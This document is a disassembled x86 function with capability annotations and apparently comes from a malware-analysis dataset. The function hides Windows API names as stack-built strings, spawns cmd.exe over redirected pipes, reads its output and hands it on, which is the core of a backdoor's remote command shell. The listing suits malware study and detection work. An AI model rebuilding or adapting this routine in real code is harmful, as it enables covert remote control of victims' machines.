Function at 0x1000ad30
Capabilities:
Contain obfuscated stackstrings
Get common file path
Read file on windows
Read pipe
Terminate process

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x1000f116
push eax
mov eax, 0x2508
mov dword fs:[0], esp
call fcn.1000e3d0
push ebx
push ebp
push esi
mov esi, ecx
push edi
push 0x1000
lea ecx, [esp + 0xbc]
mov dword [esp + 0x6c], esi
call fcn.10001bd0
xor ebx, ebx
push 0x1000
lea ecx, [esp + 0xa0]
mov dword [esp + 0x2524], ebx
call fcn.10001bd0
xor eax, eax
mov ecx, 0x10
mov dword [esp + 0x8c], eax
lea edi, [esp + 0xd8]
mov dword [esp + 0xd4], ebx
mov dword [esp + 0x90], eax
rep stosd dword es:[edi], eax
xor ecx, ecx
lea edi, [esp + 0x51a]
mov dword [esp + 0x7c], ecx
mov word [esp + 0x518], bx
mov dword [esp + 0x80], ecx
mov byte [esp + 0x2520], 1
mov dword [esp + 0x84], ecx
mov ecx, 0x7ff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esi + 0x1c]
lea ecx, [esi - 0xc5c]
mov dword [esp + 0x98], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x24], eax
mov dword [eax], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x88], 0xc
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x90], 1
mov dword [esp + 0x20], ecx
call fcn.1000e2e0
test eax, eax
jne 0x1000ae63
lea ecx, [esp + 0x9c]
mov byte [esp + 0x2520], bl
call fcn.10001d50
lea ecx, [esp + 0xb8]
mov dword [esp + 0x2520], 0xffffffff
call fcn.10001d50
or eax, 0xffffffff
jmp 0x1000b4cf
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.Kernel32.dll
call ebp
lea edx, [esp + 0x28]
mov esi, eax
push edx
push esi
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], 0x72
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x74
mov byte [esp + 0x35], 0x65
mov byte [esp + 0x36], 0x50
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], 0x70
mov byte [esp + 0x39], 0x65
mov byte [esp + 0x3a], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [esp + 0x88]
push ebx
lea ecx, [esp + 0x20]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
call edi
test eax, eax
jne 0x1000af28
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x1000aee0
push eax
call esi
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x1000aeeb
push eax
call esi
mov ecx, dword [esp + 0x20]
call fcn.1000d8a0
lea ecx, [esp + 0x9c]
mov byte [esp + 0x2520], bl
call fcn.10001d50
lea ecx, [esp + 0xb8]
mov dword [esp + 0x2520], 0xffffffff
call fcn.10001d50
mov eax, 0xfffffffe
jmp 0x1000b4cf
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x88]
push ebx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
call edi
test eax, eax
jne 0x1000af9c
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [eax]
cmp eax, ebx
je 0x1000af54
push eax
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x1000af5f
push eax
call esi
mov ecx, dword [esp + 0x20]
call fcn.1000d8a0
lea ecx, [esp + 0x9c]
mov byte [esp + 0x2520], bl
call fcn.10001d50
lea ecx, [esp + 0xb8]
mov dword [esp + 0x2520], 0xffffffff
call fcn.10001d50
mov eax, 0xfffffffd
jmp 0x1000b4cf
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0xd4]
lea edx, [esp + 0xd4]
rep stosd dword es:[edi], eax
xor ecx, ecx
push edx
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x80], ecx
mov dword [esp + 0x84], ecx
mov dword [esp + 0x88], ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x518]
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x1c]
push 0x1000
push ecx
mov dword [esp + 0xdc], 0x44
mov word [esp + 0x10c], bx
mov dword [esp + 0x108], 0x101
mov dword [esp + 0x11c], eax
mov dword [esp + 0x118], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [esp + 0x518]
push str.cmd.exe
push edx
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
push str.Kernel32.dll
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [esp + 0x34]
mov byte [esp + 0x34], 0x43
push eax
push esi
mov byte [esp + 0x3d], 0x72
mov byte [esp + 0x3e], 0x65
mov byte [esp + 0x3f], 0x61
mov byte [esp + 0x40], 0x74
mov byte [esp + 0x41], 0x65
mov byte [esp + 0x42], 0x50
mov byte [esp + 0x43], 0x72
mov byte [esp + 0x44], 0x6f
mov byte [esp + 0x45], 0x63
mov byte [esp + 0x46], 0x65
mov byte [esp + 0x47], 0x73
mov byte [esp + 0x48], 0x73
mov byte [esp + 0x49], 0x57
mov byte [esp + 0x4a], bl
call edi
lea ecx, [esp + 0x78]
lea edx, [esp + 0xd4]
push ecx
push edx
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
lea ecx, [esp + 0x538]
push ebx
push ecx
call eax
test eax, eax
jne 0x1000b126
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
push ecx
call esi
mov edx, dword [esp + 0x18]
push edx
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x20]
call fcn.1000d8a0
lea ecx, [esp + 0x9c]
mov byte [esp + 0x2520], bl
call fcn.10001d50
lea ecx, [esp + 0xb8]
mov dword [esp + 0x2520], 0xffffffff
call fcn.10001d50
mov eax, 0xfffffffc
jmp 0x1000b4cf
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x78]
mov esi, dword [esp + 0x68]
mov edx, dword [esp + 0x7c]
mov dword [esp + 0x70], ecx
mov ecx, esi
mov dword [esp + 0x74], edx
call fcn.1000cf00
cmp eax, 0xc8
mov dword [esp + 0x6c], eax
jbe 0x1000b15b
mov dword [esp + 0x6c], 0xc8
cmp dword [esi + 0x18], ebx
jne 0x1000b344
lea eax, [esp + 0x94]
push ebx
lea ecx, [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push ecx
lea edx, [esp + 0x124]
push 0x400
push edx
push eax
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x1000b2df
cmp dword [esp + 0x14], ebx
jbe 0x1000b2df
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x118]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xb8]
call fcn.10001fc0
push ebx
push 0x100000
lea ecx, [esp + 0xc0]
call fcn.10001fd0
mov esi, eax
cmp esi, ebx
je 0x1000b200
lea ecx, [esp + 0x14]
push ebx
push ecx
lea ecx, [esp + 0xc0]
call fcn.10002120
mov edx, dword [esp + 0x18]
push eax
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xb8]
push eax
call fcn.100020a0
lea ecx, [esp + 0x98]
push 2
push ecx
lea ecx, [esp + 0xc0]
call fcn.10001db0
lea ecx, [esp + 0x9c]
call fcn.10001fc0
push ebx
push 0x100000
lea ecx, [esp + 0xa4]
call fcn.10001fd0
push ebx
lea ecx, [esp + 0xbc]
call fcn.10002110
shl eax, 1
push eax
lea ecx, [esp + 0xa4]
call fcn.10001fd0
mov edi, eax
cmp edi, ebx
je 0x1000b276
lea ecx, [esp + 0x9c]
call fcn.10002120
shr eax, 1
push eax
push edi
push 0xffffffffffffffff
push esi
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [esp + 0x14], eax
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x9c]
lea eax, [edx + edx]
push eax
call fcn.100020a0
lea ecx, [esp + 0x9c]
call fcn.10002110
push eax
lea ecx, [esp + 0xa0]
call fcn.10001f70
mov ecx, dword [esp + 0x24]
push eax
call fcn.1000e330
lea ecx, [esp + 0x94]
push ebx
lea edx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x18]
push edx
lea eax, [esp + 0x124]
push 0x400
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov esi, dword [esp + 0x68]
test eax, eax
jne 0x1000b192
mov ecx, dword [esp + 0x6c]
xor edx, edx
mov eax, ecx
mov edi, 0x3e8
div edi
mov eax, 0x10624dd3
mov edi, dword [esp + 0x20]
push edx
mul ecx
shr edx, 6
push edx
mov ecx, edi
call fcn.1000cbe0
test eax, eax
jge 0x1000b310
mov dword [esi + 0x18], 1
push ebx
mov ecx, esi
call fcn.1000cf20
test eax, eax
je 0x1000b323
mov dword [esi + 0x18], 1
mov ecx, edi
call fcn.1000d990
test eax, eax
jne 0x1000b335
mov dword [esi + 0x18], 1
cmp dword [esi + 0x18], ebx
je 0x1000b164
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x70]
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push str.Kernel32.dll
call ebp
mov esi, eax
mov al, 0x54
mov byte [esp + 0x44], al
mov byte [esp + 0x4d], al
lea eax, [esp + 0x44]
mov byte [esp + 0x45], 0x65
push eax
push esi
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x6d
mov byte [esp + 0x50], 0x69
mov byte [esp + 0x51], 0x6e
mov byte [esp + 0x52], 0x61
mov byte [esp + 0x53], 0x74
mov byte [esp + 0x54], 0x65
mov byte [esp + 0x56], 0x68
mov byte [esp + 0x57], 0x72
mov byte [esp + 0x58], 0x65
mov byte [esp + 0x59], 0x61
mov byte [esp + 0x5a], 0x64
mov byte [esp + 0x5b], bl
call edi
mov ecx, dword [esp + 0x74]
push ebx
push ecx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.Kernel32.dll
call ebp
lea edx, [esp + 0x54]
mov esi, eax
push edx
push esi
mov byte [esp + 0x5c], 0x44
mov byte [esp + 0x5d], 0x69
mov byte [esp + 0x5e], 0x73
mov byte [esp + 0x5f], 0x63
mov byte [esp + 0x60], 0x6f
mov byte [esp + 0x61], 0x6e
mov byte [esp + 0x62], 0x6e
mov byte [esp + 0x63], 0x65
mov byte [esp + 0x64], 0x63
mov byte [esp + 0x65], 0x74
mov byte [esp + 0x66], 0x4e
mov byte [esp + 0x67], 0x61
mov byte [esp + 0x68], 0x6d
mov byte [esp + 0x69], 0x65
mov byte [esp + 0x6a], 0x64
mov byte [esp + 0x6b], 0x50
mov byte [esp + 0x6c], 0x69
mov byte [esp + 0x6d], 0x70
mov byte [esp + 0x6e], 0x65
mov byte [esp + 0x6f], bl
call edi
mov edi, eax
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x1000b440
push eax
call edi
mov ebp, dword [esp + 0x24]
mov eax, dword [ebp]
cmp eax, ebx
je 0x1000b44e
push eax
call edi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x1000b459
push eax
call edi
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x1000b464
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [ebp]
push ecx
call esi
mov edx, dword [esp + 0x18]
push edx
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x70]
push ecx
call esi
mov edx, dword [esp + 0x74]
push edx
call esi
mov ecx, dword [esp + 0x20]
call fcn.1000d8a0
lea ecx, [esp + 0x9c]
mov byte [esp + 0x2520], bl
call fcn.10001d50
lea ecx, [esp + 0xb8]
mov dword [esp + 0x2520], 0xffffffff
call fcn.10001d50
xor eax, eax
mov ecx, dword [esp + 0x2518]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x2514
ret